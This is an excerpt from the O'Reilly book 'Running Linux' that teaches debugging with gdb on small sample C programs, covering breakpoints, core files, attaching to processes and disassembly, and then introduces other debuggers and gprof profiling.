Even if you are not a programmer, you should consider using the Revision Control System (RCS). It provides one of the most reassuring protections a computer user could ask for--backups for everything you do to a file. If you delete a file by accident, or decide that everything you did for the past week was a mistake and should be ripped out, RCS can recover any version you want. If you are working on a larger project that involves either a large number of developers or a large number of directories, Concurrent Versioning System (CVS) might be more suitable for you. It is based on RCS, but provides some additional features.

14.1. Debugging with gdb

Are you one of those programmers who scoff at the very idea of using a debugger to trace through code? Is it your philosophy that if the code is too complex for even the programmer to understand, then the programmer deserves no mercy when it comes to bugs? Do you step through your code, mentally, using a magnifying glass and a toothpick? More often than not, are bugs usually caused by a single-character omission, such as using the = operator when you mean +=?

Then perhaps you should meet gdb--the GNU debugger. Whether or not you know it, gdb is your friend. It can locate obscure and difficult-to-find bugs that result in core dumps, memory leaks, and erratic behavior (both for the program and the programmer). Sometimes even the most harmless-looking glitches in your code can cause everything to go haywire, and without the aid of a debugger like gdb, finding these problems can be nearly impossible--especially for programs longer than a few hundred lines. In this section, we'll introduce you to the most useful features of gdb by way of examples. There's a book on gdb, too--the Free Software Foundation's Debugging with GDB.

gdb is capable of either debugging programs as they run, or examining the cause for a program crash with a core dump. Programs debugged at runtime with gdb can either be executed from within gdb itself or can be run separately; that is, gdb can attach itself to an already running process to examine it. First, we'll discuss how to debug programs running within gdb and then move on to attaching to running processes and examining core dumps.

14.1.1. Tracing a Program

Our first example is a program called trymh that detects edges in a grayscale image. trymh takes as input an image file, does some calculations on the data, and spits out another image file. Unfortunately, it crashes whenever it is invoked, as so:

papaya$ trymh < image00.pgm > image00.pbm
Segmentation fault (core dumped)
Now, using gdb we could analyze the resulting core file, but for this example, we'll show how to trace the program as it runs, instead.[51]

[51]The sample programs in this section are not programs you're likely to run into anywhere; they were thrown together by the authors for the purpose of demonstration.

Before we use gdb to trace through the executable trymh, we need to ensure that the executable has been compiled with debugging code (see the section "Section 13.1.6, "Enabling Debugging Code"" in Chapter 13, "Programming Languages"). To do so, we should compile trymh using the -g switch with gcc.

Note that enabling optimization (-O) with debug code (-g) is not illegal but not recommended. The problem is that gcc is too smart for its own good. For example, if you have two identical lines of code in two different places in a function, gdb may unexpectedly jump to the second occurrence of the line, instead of the first, as expected. This is because gcc combined the two lines into a single line of machine code used in both instances.

Some of the automatic optimizations performed by gcc can be confusing when using a debugger. To turn off all optimization (even optimizations performed without specifying -O), use the -O0 (that's dash-oh-zero) option with gcc.

Now we can fire up gdb to see what the problem might be:

papaya$ gdb trymh
GDB is free software and you are welcome to distribute copies of it
 under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.16 (i486-unknown-linux --target i486-linux),
Copyright 1996 Free Software Foundation, Inc.
(gdb)
Now gdb is waiting for a command. (The command help displays information on the available commands.) The first thing we want to do is start running the program so that we can observe its behavior. However, if we immediately use the run command, the program simply executes until it exits or crashes.

First, we need to set a breakpoint somewhere in the program. A breakpoint is just a location in the program where gdb should stop and allow us to control execution of the program. For the sake of simplicity, let's set a breakpoint on the first line of actual code, so that the program stops just as it begins to execute. The list command displays several lines of code (an amount that is variable) at a time:

(gdb) list
12        main() {
13
14         FloatImage inimage;
15         FloatImage outimage;
16         BinaryImage binimage;
17         int i,j;
18
19         inimage = (FloatImage)imLoadF(IMAGE_FLOAT,stdin);
20         outimage = laplacian_float(inimage);
21
(gdb) break 19
Breakpoint 1 at 0x289c: file trymh.c, line 19.
(gdb)
A breakpoint is now set at line 19 in the current source file. You can set many breakpoints in the program; breakpoints may be conditional (that is, triggered only when a certain expression is true), unconditional, delayed, temporarily disabled, and so on. You may set breakpoints on a particular line of code, a particular function, a set of functions, and in a slew of other ways. You may also set a watchpoint, using the watch command, which is similar to a breakpoint but is triggered whenever a certain event takes place--not necessarily at a specific line of code within the program. We'll talk more about breakpoints and watchpoints later in the chapter.

Next, we use the run command to start the program running. run takes as arguments the same arguments you'd give trymh on the command line; this can include shell wildcards and input/output redirection, as the command is passed to /bin/sh for execution:

(gdb) run < image00.pgm > image00.pfm
Starting program: /amd/dusk/d/mdw/vis/src/trymh < image00.pgm >\
image00.pfm

Breakpoint 1, main () at trymh.c:19
19         inimage = (FloatImage)imLoadF(IMAGE_FLOAT,stdin);
(gdb)
As expected, the breakpoint is reached immediately at the first line of code. We can now take over.

The most useful program-stepping commands are next and step. Both commands execute the next line of code in the program, except that step descends into any function calls in the program, and next steps only to the next line of code in the same function. next quietly executes any function calls that it steps over but does not descend in their code for us to examine.

imLoadF is a function that loads an image from a disk file. We know this function is not at fault (you'll have to trust us on that one), so we wish to step over it using the next command:

(gdb) next
20         outimage = laplacian_float(inimage);
(gdb)
Here, we are interested in tracing into the suspicious-looking laplacian_float function, so we use the step command:
(gdb) step
laplacian_float (fim=0x0) at laplacian.c:21
21          i = 20.0;
(gdb)
Let's use the list command to get some idea of where we are:

(gdb) list
16        FloatImage laplacian_float(FloatImage fim) {
17
18          FloatImage mask;
19          float i;
20
21          i = 20.0;
22          mask=(FloatImage)imNew(IMAGE_FLOAT,3,3);
23          imRef(mask,0,0) = imRef(mask,2,0) = imRef(mask,0,2) = 1.0;
24          imRef(mask,2,2) = 1.0; imRef(mask,1,0) = imRef(mask,0,1) = i/5;
25          imRef(mask,2,1) = imRef(mask,1,2) = i/5; imRef(mask,1,1) = -i;
(gdb) list
26
27          return convolveFloatWithFloat(fim,mask);
28        }
(gdb)

As you can see, using list multiple times just displays more of the code. Because we don't want to step manually through this code, and we're not interested in the imNew function on line 22, let's continue execution until line 27. For this, we use the until command:

(gdb) until 27
laplacian_float (fim=0x0) at laplacian.c:27
27          return convolveFloatWithFloat(fim,mask);
(gdb)

Before we step into the convolveFloatWithFloat function, let's be sure the two parameters, fim and mask, are valid. The print command examines the value of a variable:

(gdb) print mask
$1 = (struct {...} *) 0xe838
(gdb) print fim

$2 = (struct {...} *) 0x0
(gdb)

mask looks fine, but fim, the input image, is null. Obviously, laplacian_float was passed a null pointer instead of a valid image. If you have been paying close attention, you noticed this as we entered laplacian_ float earlier.

Instead of stepping deeper into the program (as it's apparent that something has already gone wrong), let's continue execution until the current function returns. The finish command accomplishes this:

(gdb) finish
Run till exit from #0  laplacian_float (fim=0x0) at laplacian.c:27
0x28c0 in main () at trymh.c:20
20       outimage = laplacian_float(inimage);
Value returned is $3 = (struct {...} *) 0x0
(gdb)

Now we're back in main. To determine the source of the problem, let's examine the values of some variables:

(gdb) list
15       FloatImage outimage;
16       BinaryImage binimage;
17       int i,j;
18
19       inimage = (FloatImage)imLoadF(IMAGE_FLOAT,stdin);
20       outimage = laplacian_float(inimage);
21
22       binimage = marr_hildreth(outimage);
23       if  (binimage == NULL) {
24         fprintf(stderr,"trymh: binimage returned NULL\n");
(gdb) print inimage
$6 = (struct {...} *) 0x0
(gdb)

The variable inimage, containing the input image returned from imLoadF, is null. Passing a null pointer into the image-manipulation routines certainly would cause a core dump in this case. However, we know imLoadF to be tried and true because it's in a well-tested library, so what's the problem?

As it turns out, our library function imLoadF returns NULL on failure--if the input format is bad, for example. Because we never checked the return value of imLoadF before passing it along to laplacian_float, the program goes haywire when inimage is assigned NULL. To correct the problem, we simply insert code to cause the problem to exit with an error message if imLoadF returns a null pointer.

To quit gdb, just use the command quit. Unless the program has finished execution, gdb will complain that the program is still running:

(gdb) quit
The program is running.  Quit anyway (and kill it)? (y or n) y
papaya$

In the following sections we examine some specific features provided by the debugger, given the general picture just presented.

14.1.2. Examining a Core File

Do you hate it when a program crashes and spites you again by leaving a 10 MB core file in your working directory, wasting much-needed space? Don't be so quick to delete that core file; it can be very helpful. A core file is just a dump of the memory image of a process at the time of the crash. You can use the core file with gdb to examine the state of your program (such as the values of variables and data) and determine the cause for failure.

The core file is written to disk by the operating system whenever certain failures occur. The most frequent reason for a crash and the subsequent core dump is a memory violation--that is, trying to read or write memory that your program does not have access to. For example, attempting to write data into a null pointer can cause a segmentation fault, which is essentially a fancy way to say, "you screwed up." Other errors that result in core files are so-called "bus errors" and "floating-point exceptions." Segmentation faults are a common error and occur when you try to access (read from or write to) a memory address that does not belong to your process's address space. This includes the address 0, as often happens with uninitialized pointers. Bus errors result in using incorrectly aligned data and are therefore rare on the Intel architecture, which does not pose strong alignment conditions like other architectures, such as SPARC. Floating-point exceptions point to a severe problem in a floating-point calculation like an overflow, but the most usual case is a division by zero.

However, not all such memory errors will cause immediate crashes. For example, you may overwrite memory in some way, but the program continues to run, not knowing the difference between actual data and instructions or garbage. Subtle memory violations can cause programs to behave erratically. One of the authors once witnessed a bug that caused the program to jump randomly around but without tracing it with gdb, it still appeared to work normally. The only evidence of a bug was that the program returned output that meant, roughly, that two and two did not add up to four. Sure enough, the bug was an attempt to write one too many characters into a block of allocated memory. That single-byte error caused hours of grief.

You can prevent these kinds of memory problems (even the best programmers make these mistakes!) using the Checker package, a set of memory-management routines that replaces the commonly used malloc() and free() functions. We'll talk about Checker in the section "Section 14.2.5, "Using Checker"."

However, if your program does cause a memory fault, it will crash and dump core. Under Linux, core files are named, appropriately, core. The core file appears in the current working directory of the running process, which is usually the working directory of the shell that started the program, but on occasion, programs may change their own working directory.

Some shells provide facilities for controlling whether core files are written. Under bash, for example, the default behavior is not to write core files at all. In order to enable core file output, you should use the command:

ulimit -c unlimited
probably in your .bashrc initialization file. You can specify a maximum size for core files other than unlimited, but truncated core files may not be of use when debugging applications.

Also, in order for a core file to be useful, the program must be compiled with debugging code enabled, as described in the previous section. Most binaries on your system will not contain debugging code, so the core file will be of limited value.

Our example for using gdb with a core file is yet another mythical program called cross. Like trymh in the previous section, cross takes as input an image file, does some calculations on it, and outputs another image file. However, when running cross, we get a segmentation fault:

papaya$ cross < image30.pfm > image30.pbm
Segmentation fault (core dumped)
papaya$

To invoke gdb for use with a core file, you must specify not only the core filename but also the name of the executable that goes along with that core file. This is because the core file itself does not contain all the information necessary for debugging:

papaya$ gdb cross core
GDB is free software and you are welcome to distribute copies of it
 under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.8, Copyright 1993 Free Software Foundation, Inc...
Core was generated by `cross'.
Program terminated with signal 11, Segmentation fault.
#0  0x2494 in crossings (image=0xc7c8) at cross.c:31
31              if ((image[i][j] >= 0) &&
(gdb)

gdb tells us that the core file terminated with signal 11. A signal is a kind of message that is sent to a running program from the kernel, the user, or the program itself. Signals are generally used to terminate a program (and possibly cause it to dump core). For example, when you type the interrupt character, a signal is sent to the running program, which will probably kill the program.

In this case, signal 11 was sent to the running cross process by the kernel when cross attempted to read or write to memory that it did not have access to. This signal caused cross to die and dump core. gdb says that the illegal memory reference occurred on line 31 of the source file cross.c:

(gdb) list
26          xmax = imGetWidth(image)-1;
27          ymax = imGetHeight(image)-1;
28
29          for (j=1; j<xmax; j++) {
30            for (i=1; i<ymax; i++) {
31              if ((image[i][j] >= 0) &&
32                  (image[i-1][j-1] < 0) ||
33                  (image[i-1][j] < 0) ||
34                  (image[i-1][j+1] < 0) ||
35                  (image[i][j-1] < 0) ||
(gdb)

Here, we see several things. First of all, there is a loop across the two index variables i and j, presumably in order to do calculations on the input image. Line 31 is an attempt to reference data from image[i][j], a two-dimensional array. When a program dumps core while attempting to access data from an array, it's usually a sign that one of the indices is out of bounds. Let's check them:

(gdb) print i
$1 = 1
(gdb) print j
$2 = 1194
(gdb) print xmax
$3 = 1551
(gdb) print ymax
$4 = 1194
(gdb)

Here we see the problem. The program was attempting to reference element image[1][1194], however, the array extends only to image[1550][1193] (remember that arrays in C are indexed from 0 to max-1). In other words, we attempted to read the 1195th row of an image that only has 1194 rows.

If we look at lines 29 and 30, we see the problem: the values xmax and ymax are reversed. The variable j should range from 1 to ymax (because it is the row index of the array), and i should range from 1 to xmax. Fixing the two for loops on lines 29 and 30 corrects the problem.

Let's say that your program is crashing within a function that is called from many different locations, and you want to determine where the function was invoked from and what situation led up to the crash. The backtrace command displays the call stack of the program at the time of failure. If you are like me and are too lazy to type backtrace all the time, you will be delighted to hear that you can also use the shortcut bt.

The call stack is the list of functions that led up to the current one. For example, if the program starts in function main, which calls function foo, which calls bamf, the call stack looks like:

(gdb) backtrace
#0  0x1384 in bamf () at goop.c:31
#1  0x4280 in foo () at goop.c:48
#2  0x218 in main () at goop.c:116
(gdb)
As each function is called, it pushes certain data onto the stack, such as saved registers, function arguments, local variables, and so forth. Each function has a certain amount of space allocated on the stack for its use. The chunk of memory on the stack for a particular function is called a stack frame, and the call stack is the ordered list of stack frames.

In the following example, we are looking at a core file for an X-based animation program. Using backtrace gives us:

(gdb) backtrace
#0  0x602b4982 in _end ()
#1  0xbffff934 in _end ()
#2  0x13c6 in stream_drawimage (wgt=0x38330000, sn=4)\
at stream_display.c:94
#3  0x1497 in stream_refresh_all () at stream_display.c:116
#4  0x49c in control_update_all () at control_init.c:73
#5  0x224 in play_timeout (Cannot access memory at address 0x602b7676.
(gdb)
This is a list of stack frames for the process. The most recently called function is frame 0, which is the "function" _end in this case. Here, we see that play_timeout called control_update_all, which called stream_refresh_all, and so on. Somehow, the program jumped to _end where it crashed.

However, _end is not a function; it is simply a label that specifies the end of the process data segment. When a program branches to an address such as _end, which is not a real function, it is a sign that something must have caused the process to go haywire, corrupting the call stack. (This is known in hacker jargon as "jumping to hyperspace.") In fact, the error "Cannot access memory at address 0x602b7676" is another indication that something bizarre has occurred.

We can see, however, that the last "real" function called was stream_drawimage, and we might guess that it is the source of the problem. To examine the state of stream_drawimage, we need to select its stack frame (frame number 2), using the frame command:

(gdb) frame 2
#2  0x13c6 in stream_drawimage (wgt=0x38330000, sn=4)\
at stream_display.c:94
94        XCopyArea(mydisplay,streams[sn].frames[currentframe],\
XtWindow(wgt),
(gdb) list
91
92        printf("CopyArea frame %d, sn %d, wid %d\n",currentframe,sn,wgt);
93
94        XCopyArea(mydisplay,streams[sn].frames[currentframe],\
XtWindow(wgt),
95                 picGC,0,0,streams[sn].width,streams[sn].height,0,0);
(gdb)

Well, not knowing anything else about the program at hand, we can't see anything wrong here, unless the variable sn (being used as an index into the array streams) is out of range. From the output of frame, we see that stream_drawimage was called with an sn parameter of 4. (Function parameters are displayed in the output of backtrace, as well as whenever we change frames.)

Let's move up another frame, to stream_refresh_all, to see how stream_display was called. To do this, we use the up command, which selects the stack frame above the current one:

(gdb) up
#3  0x1497 in stream_refresh_all () at stream_display.c:116
116         stream_drawimage(streams[i].drawbox,i);
(gdb) list
113     void stream_refresh_all(void) {
114       int i;
115       for (i=0; i<=numstreams; i++) {
116         stream_drawimage(streams[i].drawbox,i);
117
(gdb) print i
$2 = 4
(gdb) print numstreams
$3 = 4
(gdb)

Here, we see that the index variable i is looping from 0 to numstreams, and indeed i here is 4, the second parameter to stream_drawimage. However, numstreams is also 4. What's going on?

The for loop on line 115 looks funny; it should read:

for (i=0; i<numstreams; i++) {
The error is in the use of the <= comparison operator. The streams array is indexed from 0 to numstreams- 1, not from 0 to numstreams. This simple off-by-one error caused the program to go berserk.

As you can see, using gdb with a core dump allows you to browse through the image of a crashed program to find bugs. Never again will you delete those pesky core files, right?

14.1.3. Debugging a Running Program

gdb can also debug a program that is already running, allowing you to interrupt it, examine it, and then return the process to its regularly scheduled execution. This is very similar to running a program from within gdb, and there are only a few new commands to learn.

The attach command attaches gdb to a running process. In order to use attach you must also have access to the executable that corresponds to the process.

For example, if you have started the program pgmseq with process ID 254, you can start up gdb with:

papaya$ gdb pgmseq
and once inside gdb, use the command:
(gdb) attach 254
Attaching program `/home/loomer/mdw/pgmseq/pgmseq', pid 254
_ _select (nd=4, in=0xbffff96c, out=0xbffff94c, ex=0xbffff92c, tv=0x0)
    at _ _select.c:22
_ _select.c:22: No such file or directory.
(gdb)
 The No such file or directory error is given because gdb can't locate the source file for _ _select. This is often the case with system calls and library functions, and it's nothing to worry about.

You can also start gdb with the command:

papaya$ gdb pgmseq 254

Once gdb attaches to the running process, it temporarily suspends the program and lets you take over, issuing gdb commands. Or you can set a breakpoint or watchpoint (with the break and watch commands) and use continue to cause the program to continue execution until the breakpoint is triggered.

The detach command detaches gdb from the running process. You can then use attach again, on another process, if necessary. If you find a bug, you can detach the current process, make changes to the source, recompile, and use the file command to load the new executable into gdb. You can then start the new version of the program and use the attach command to debug it. All without leaving gdb!

In fact, gdb allows you to debug three programs concurrently: one running directly under gdb, one tracing with a core file, and one running as an independent process. The target command allows you to select which one you wish to debug.

14.1.4. Changing and Examining Data

To examine the values of variables in your program, you can use the print, x, and ptype commands. The print command is the most commonly used data inspection command; it takes as an argument an expression in the source language (usually C or C++) and returns its value. For example:

(gdb) print mydisplay
$10 = (struct _XDisplay *) 0x9c800
(gdb)
This displays the value of the variable mydisplay, as well as an indication of its type. Because this variable is a pointer, you can examine its contents by dereferencing the pointer, as you would in C:
(gdb) print *mydisplay
$11 = {ext_data = 0x0, free_funcs = 0x99c20, fd = 5, lock = 0,
  proto_major_version = 11, proto_minor_version = 0,
  vendor = 0x9dff0 "XFree86", resource_base = 41943040,
  …
  error_vec = 0x0, cms = {defaultCCCs = 0xa3d80 "",\
clientCmaps = 0x991a0 "'",
    perVisualIntensityMaps = 0x0}, conn_checker = 0, im_filters = 0x0}
(gdb)
mydisplay is an extensive structure used by X programs; we have abbreviated the output for your reading enjoyment.

print can print the value of just about any expression, including C function calls (which it executes on the fly, within the context of the running program):

(gdb) print getpid()
$11 = 138
(gdb)
Of course, not all functions may be called in this manner. Only those functions that have been linked to the running program may be called. If a function has not been linked to the program and you attempt to call it, gdb will complain that there is no such symbol in the current context.

More complicated expressions may be used as arguments to print as well, including assignments to variables. For example:

(gdb) print mydisplay->vendor = "Linux"
$19 = 0x9de70 "Linux"
(gdb)
assigns the value of the vendor member of the mydisplay structure the value "Linux" instead of "XFree86" (a useless modification, but interesting nonetheless). In this way, you can interactively change data in a running program to correct errant behavior or test uncommon situations.

Note that after each print command, the value displayed is assigned to one of the gdb convenience registers, which are gdb internal variables that may be handy for you to use. For example, to recall the value of mydisplay in the previous example, we need to merely print the value of $10:

(gdb) print $10
$21 = (struct _XDisplay *) 0x9c800
(gdb)

You may also use expressions, such as typecasts, with the print command. Almost anything goes.

The ptype command gives you detailed (and often long-winded) information about a variable's type or the definition of a struct or typedef. To get a full definition for the struct _XDisplay used by the mydisplay variable, we use:

(gdb) ptype mydisplay
type = struct _XDisplay {
    struct _XExtData *ext_data;
    struct _XFreeFuncs *free_funcs;
    int fd;
    int lock;
    int proto_major_version;
    …
    struct _XIMFilter *im_filters;
} *
(gdb)

If you're interested in examining memory on a more fundamental level, beyond the petty confines of defined types, you can use the x command. x takes a memory address as an argument. If you give it a variable, it uses the value of that variable as the address.

x also takes a count and a type specification as an optional argument. The count is the number of objects of the given type to display. For example, x/100x 0x4200 displays 100 bytes of data, represented in hexadecimal format, at the address 0x4200. Use help x to get a description of the various output formats.

To examine the value of mydisplay->vendor, we can use:

(gdb) x mydisplay->vendor
0x9de70 <_end+35376>:   76 'L'
(gdb) x/6c mydisplay->vendor
0x9de70 <_end+35376>:   76 'L'  105 'i' 110 'n' 117 'u' 120 'x' 0 '\000'
(gdb) x/s mydisplay->vendor
0x9de70 <_end+35376>:    "Linux"
(gdb)

The first field of each line gives the absolute address of the data. The second represents the address as some symbol (in this case, _end) plus an offset in bytes. The remaining fields give the actual value of memory at that address, first in decimal, then as an ASCII character. As described earlier you can force x to print the data in other formats.

14.1.5. Getting Information

The info command provides information about the status of the program being debugged. There are many subcommands under info; use help info to see them all. For example, info program displays the execution status of the program:

(gdb) info program
Using the running image of child process 138.
Program stopped at 0x9e.
It stopped at breakpoint 1.
(gdb)

Another useful command is info locals, which displays the names and values of all local variables in the current function:

(gdb) info locals
inimage = (struct {...} *) 0x2000
outimage = (struct {...} *) 0x8000
(gdb)
This is a rather cursory description of the variables. The print or x commands describe them further.

Similarly, info variables displays a list of all known variables in the program, ordered by source file. Note that many of the variables displayed will be from sources outside of your actual program--for example, the names of variables used within the library code. The values for these variables are not displayed, because the list is culled more or less directly from the executable's symbol table. Only those local variables in the current stack frame and global (static) variables are actually accessible from gdb. info address gives you information about exactly where a certain variable is stored. For example:

(gdb) info address inimage
Symbol "inimage" is a local variable at frame offset -20.
(gdb)
By frame offset, gdb means that inimage is stored 20 bytes below the top of the stack frame.

You can get information on the current frame using the info frame command, as so:

(gdb) info frame
Stack level 0, frame at 0xbffffaa8:
 eip = 0x9e in main (main.c:44); saved eip 0x34
 source language c.
 Arglist at 0xbffffaa8, args: argc=1, argv=0xbffffabc
 Locals at 0xbffffaa8, Previous frame's sp is 0x0

 Saved registers:
  ebx at 0xbffffaa0, ebp at 0xbffffaa8, esi at 0xbffffaa4, eip at\
0xbffffaac
(gdb)

This kind of information is useful if you're debugging at the assembly-language level with the disass, nexti, and stepi commands (see the section "Section 14.1.6.2, "Instruction-level debugging"").

14.1.6. Miscellaneous Features

We have barely scratched the surface about what gdb can do. It is an amazing program with a lot of power; we have introduced you only to the most commonly used commands. In this section, we'll look at other features of gdb and then send you on your way.

If you're interested in learning more about gdb, we encourage you to read the gdb manual page and the Free Software Foundation manual. The manual is also available as an online Info file. (Info files may be read under Emacs, or using the info reader; see the section "Section 9.2.3, "Tutorial and Online Help"" in Chapter 9, "Editors, Text Tools, Graphics, and Printing", for details.)

14.1.6.1. Breakpoints and watchpoints

As promised, we're going to demonstrate further use of breakpoints and watchpoints. Breakpoints are set with the break command; similarly, watchpoints are set with the watch command. The only difference between the two is that breakpoints must break at a particular location in the program--on a certain line of code, for example--and watchpoints may be triggered whenever a certain expression is true, regardless of location within the program. Though powerful, watchpoints can be horribly inefficient; any time the state of the program changes, all watchpoints must be reevaluated.

When a breakpoint or watchpoint is triggered, gdb suspends the program and returns control to you. Breakpoints and watchpoints allow you to run the program (using the run and continue commands) and stop only in certain situations, thus saving you the trouble of using many next and step commands to walk through the program manually.

There are many ways to set a breakpoint in the program. You can specify a line number, as in break 20. Or, you can specify a particular function, as in break stream_unload. You can also specify a line number in another source file, as in break foo.c:38. Use help break to see the complete syntax.

Breakpoints may be conditional; that is, the breakpoint triggers only when a certain expression is true. For example, using the command:

break 184 if (status == 0)

sets a conditional breakpoint at line 184 in the current source file, which triggers only when the variable status is zero. The variable status must be either a global variable or a local variable in the current stack frame. The expression may be any valid expression in the source language that gdb understands, identical to the expressions used by the print command. You can change the breakpoint condition (if it is conditional) using the condition command.

Using the command info break gives you a list of all breakpoints and watchpoints and their status. This allows you to delete or disable breakpoints, using the commands clear, delete, or disable. A disabled breakpoint is merely inactive, until you reenable it (with the enable command); on the other hand, a breakpoint that has been deleted is gone from the list of breakpoints for good. You can also specify that a breakpoint be enabled once; meaning that once it is triggered, it will be disabled again--or enabled once and then deleted.

To set a watchpoint, use the watch command, as in:

watch (numticks < 1024 && incoming != clear)
Watchpoint conditions may be any valid source expression, as with conditional breakpoints.

14.1.6.2. Instruction-level debugging

gdb is capable of debugging on the processor-instruction level, allowing you to watch the innards of your program with great scrutiny. However, understanding what you see requires not only knowledge of the processor architecture and assembly language, but also some gist of how the operating system sets up process address space. For example, it helps to understand the conventions used for setting up stack frames, calling functions, passing parameters and return values, and so on. Any book on protected-mode 80386/80486 programming can fill you in on these details. But be warned: protected-mode programming on this processor is quite different from real-mode programming (as is used in the MS-DOS world). Be sure that you're reading about native protected-mode 386 programming, or else you might subject yourself to terminal confusion.

The primary gdb commands used for instruction-level debugging are nexti, stepi, and disass. nexti is equivalent to next, except that it steps to the next instruction, not the next source line. Similarly, stepi is the instruction-level analogue of step.

The disass command displays a disassembly of an address range that you supply. This address range may be specified by literal address or function name. For example, to display a disassembly of the function play_timeout, use the command:

(gdb) disass play_timeout
Dump of assembler code for function play_timeout:
to 0x2ac:
0x21c <play_timeout>:           pushl  %ebp
0x21d <play_timeout+1>:         movl   %esp,%ebp
0x21f <play_timeout+3>:         call   0x494 <control_update_all>
0x224 <play_timeout+8>:         movl   0x952f4,%eax
0x229 <play_timeout+13>:        decl   %eax
0x22a <play_timeout+14>:        cmpl   %eax,0x9530c
0x230 <play_timeout+20>:        jne    0x24c <play_timeout+48>
0x232 <play_timeout+22>:        jmp    0x29c <play_timeout+128>
0x234 <play_timeout+24>:        nop
0x235 <play_timeout+25>:        nop
…

0x2a8 <play_timeout+140>:       addb   %al,(%eax)
0x2aa <play_timeout+142>:       addb   %al,(%eax)
(gdb)
This is equivalent to using the command disass 0x21c (where 0x21c is the literal address of the beginning of play_timeout).

You can specify an optional second argument to disass, which will be used as the address where disassembly should stop. Using disass 0x21c 0x232 will only display the first seven lines of the assembly listing in the previous example (the instruction starting with 0x232 itself will not be displayed).

If you use nexti and stepi often, you may wish to use the command:

display/i $pc
This causes the current instruction to be displayed after every nexti or stepi command. display specifies variables to watch or commands to execute after every stepping command. $pc is a gdb internal register that corresponds to the processor's program counter, pointing to the current instruction.

14.1.6.3. Using Emacs with gdb

Emacs (described in the section "Section 9.2, "The Emacs Editor"" in Chapter 9, "Editors, Text Tools, Graphics, and Printing") provides a debugging mode that lets you run gdb--or another debugger--within the integrated program-tracing environment provided by Emacs. This so-called "Grand Unified Debugger" library is very powerful and allows you to debug and edit your programs entirely within Emacs.

To start gdb under Emacs, use the Emacs command M-x gdb and give the name of the executable to debug as the argument. A buffer will be created for gdb, which is similar to using gdb alone. You can then use core-file to load a core file or attach to attach to a running process, if you wish.

Whenever you step to a new frame (e.g., when you first trigger a breakpoint), gdb opens a separate window that displays the source corresponding to the current stack frame. This buffer may be used to edit the source text just as you normally would with Emacs, but the current source line is highlighted with an arrow (the characters =>). This allows you to watch the source in one window, and execute gdb commands in the other.

Within the debugging window, there are several special key sequences that can be used. They are fairly long, though, so it's not clear that you'll find them more convenient than just entering gdb commands directly. Some of the more common commands include:

C-x C-a C-s

The equivalent of a gdb step command, updating the source window appropriately

C-x C-a C-i

The equivalent of a stepi command

C-x C-a C-n

The equivalent of a next command

C-x C-a C-r

The equivalent of a continue command

C-x C-a <

The equivalent of an up command

C-x C-a >

The equivalent of a down command

If you do type in commands in the traditional manner, you can use M-p to move backwards to previously issued commands and M-n to move forward. You can also move around in the buffer using Emacs commands for searching, cursor movement, and so on. All in all, using gdb within Emacs is more convenient than using it from the shell.

In addition, you may edit the source text in the gdb source buffer; the prefix arrow will not be present in the source when it is saved.

Emacs is very easy to customize, and there are many extensions to this gdb interface that you could write yourself. You could define Emacs keys for other commonly used gdb commands or change the behavior of the source window. (For example, you could highlight all breakpoints in some fashion or provide keys to disable or clear breakpoints.)

Previous | Home | Next
13.7. Other Languages | Book Index | 14.2. Programming Tools
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Programming Tools (Running Linux)

 Running LinuxSearch this book
Previous Next

14.2. Programming Tools

Along with languages and compilers, there is a plethora of programming tools out there, including libraries, interface builders, debuggers, and other utilities to aid the programming process. In this section, we'll talk about some of the most interesting bells and whistles of these tools to let you know what's out there.

14.2.1. Debuggers

There are several interactive debuggers available for Linux. The de facto standard debugger is gdb, which we just covered in detail.

In addition to gdb, there are several other debuggers, each with features very similar to gdb. xxgdb is a version of gdb with an X Window System interface similar to that found on the xdbx debugger on other Unix systems. There are several panes in the xxgdb debugger's window. One pane looks like the regular gdb text interface, allowing you to input commands manually to interact with the system. Another pane automatically displays the current source file along with a marker displaying the current line. You can use the source pane to set and select breakpoints, browse the source, and so on, while typing commands directly to gdb. A number of buttons are provided on the xxgdb window as well, providing quick access to frequently used commands, such as step, next, and so on. Given the buttons, you can use the mouse in conjunction with the keyboard to debug your program within an easy-to-use X interface.

Another debugger similar to xxgdb is UPS, an X-based debugger that has been ported to a number of Unix platforms. UPS is much simpler than xxgdb and doesn't provide the same features, but it is a good debugger nonetheless and has a less demanding learning curve than gdb. It is adequate for most applications and straightforward debugging needs.

Two other graphical frontends for gdb deserve mention. DDD, the Data Display Debugger, has the same features as xxgdb with a nicer, Motif user interface. In addition, it can display structures and classes in a graphical manner, which is especially useful if you want to explore the data structures of an unknown program. kdbg comes from the KDE project and--in addition to the features that xxgdb provides--is fully integrated into the KDE desktop.

14.2.2. Profiling and Performance Tools

There are several utilities out there that allow you to monitor and rate the performance of your program. These tools help you locate bottlenecks in your code--places where performance is lacking. These tools also give you a rundown on the call structure of your program, indicating what functions are called, from where, and how often. (Everything you ever wanted to know about your program, but were afraid to ask.)

gprof is a profiling utility that gives you a detailed listing of the running statistics for your program, including how often each function was called, from where, the total amount of time that each function required, and so forth.

In order to use gprof with a program, you must compile the program using the -pg option with gcc. This adds profiling information to the object file and links the executable with standard libraries that have profiling information enabled.

Having compiled the program to profile with -pg, simply run it. If it exits normally, the file gmon.out will be written to the working directory of the program. This file contains profiling information for that run and can be used with gprof to display a table of statistics.

As an example, let's take a program called getstat, which gathers statistics about an image file. First, we compile getstat with -pg, and run it:

papaya$ getstat image11.pgm > stats.dat
papaya$ ls -l gmon.out
-rw-------   1 mdw      mdw         54448 Feb  5 17:00 gmon.out
papaya$
Indeed, the profiling information was written to gmon.out.

To examine the profiling data, we run gprof and give it the name of the executable and the profiling file gmon.out :

papaya$ gprof getstat gmon.out
If you do not specify the name of the profiling file, gprof assumes the name gmon.out. It also assumes the executable name a.out if you do not specify that, either.

gprof output is rather verbose, so you may want to redirect it to a file or pipe it through a pager. It comes in two parts. The first part is the "flat profile," which gives a one-line entry for each function, listing the percentage of time spent in that function, the time (in seconds) used to execute that function, the number of calls to the function, and other information. For example:

Each sample counts as 0.01 seconds.
  %   cumulative   self              self     total
 time   seconds   seconds    calls  ms/call  ms/call  name
 45.11     27.49    27.49       41   670.51   903.13  GetComponent
 16.25     37.40     9.91                             mcount
 10.72     43.93     6.54  1811863     0.00     0.00  Push
 10.33     50.23     6.30  1811863     0.00     0.00  Pop
  5.87     53.81     3.58       40    89.50   247.06  stackstats
